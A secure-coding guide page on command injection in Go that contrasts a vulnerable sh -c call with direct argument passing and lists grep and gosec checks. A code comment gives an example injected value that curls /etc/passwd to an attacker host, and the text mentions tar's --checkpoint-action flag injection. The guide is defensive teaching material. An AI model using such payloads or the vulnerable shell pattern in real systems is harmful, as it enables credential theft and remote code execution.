flawopen.com/Command Injection/Go
Imagine handing a courier an envelope with an address card. Direct execution is like the courier reading only the street field. Injection is when you give the courier a megaphone and they announce everything written on the card to the whole building.
Go's standard library os/exec.Command is safe by default because it takes arguments as variadic strings (...string) and invokes the kernel system call directly. Command injection in Go almost exclusively happens when developers intentionally call exec.Command("sh", "-c", userString) or exec.Command("bash", "-c", userString).
High-profile Go tools and Kubernetes controllers have suffered remote code execution vulnerabilities when reconciling manifests by invoking shell commands with untrusted repository names.
CVE-2021-3121 & Go Security Advisory Database.// Spawning bash explicitly to execute concatenated string
package main
import (
"os/exec"
)
func runBackup(target string) ([]byte, error) {
// Attacker input: "db; curl http://attacker.com/leak --data @/etc/passwd"
cmdStr := "tar -czf backup.tar.gz " + target
cmd := exec.Command("sh", "-c", cmdStr)
return cmd.Output()
}
// Calling tar directly without an intermediate shell
package main
import (
"os/exec"
)
func runBackup(target string) ([]byte, error) {
// target is passed strictly as a single filename argument
cmd := exec.Command("tar", "-czf", "backup.tar.gz", target)
return cmd.Output()
}
exec.Command("tar", ...) invokes the tar binary via syscall.ForkExec. No shell is launched, meaning argument delimiters are enforced at the OS level and shell metacharacters cannot trigger secondary commands.
Even with exec.Command, if an attacker can control the first argument, they can pass flags like --checkpoint-action=exec=sh in tools like tar. Always precede user arguments with explicit options.
Compiled binaries still make operating system calls. When delegating work to external CLI binaries, Go has the same responsibilities as interpreted languages.
grep -rn 'exec\.Command("sh", "-c"' --include="*.go" .
grep -rn 'exec\.Command("bash", "-c"' --include="*.go" .
gosec with rule G204 (audit use of command execution) in CI."sh", "-c" or "bash", "-c" to exec.CommandUse Go's io.Pipe or cmd1.StdoutPipe() and connect it to cmd2.StdinPipe() in Go code, rather than using the shell pipe symbol (|).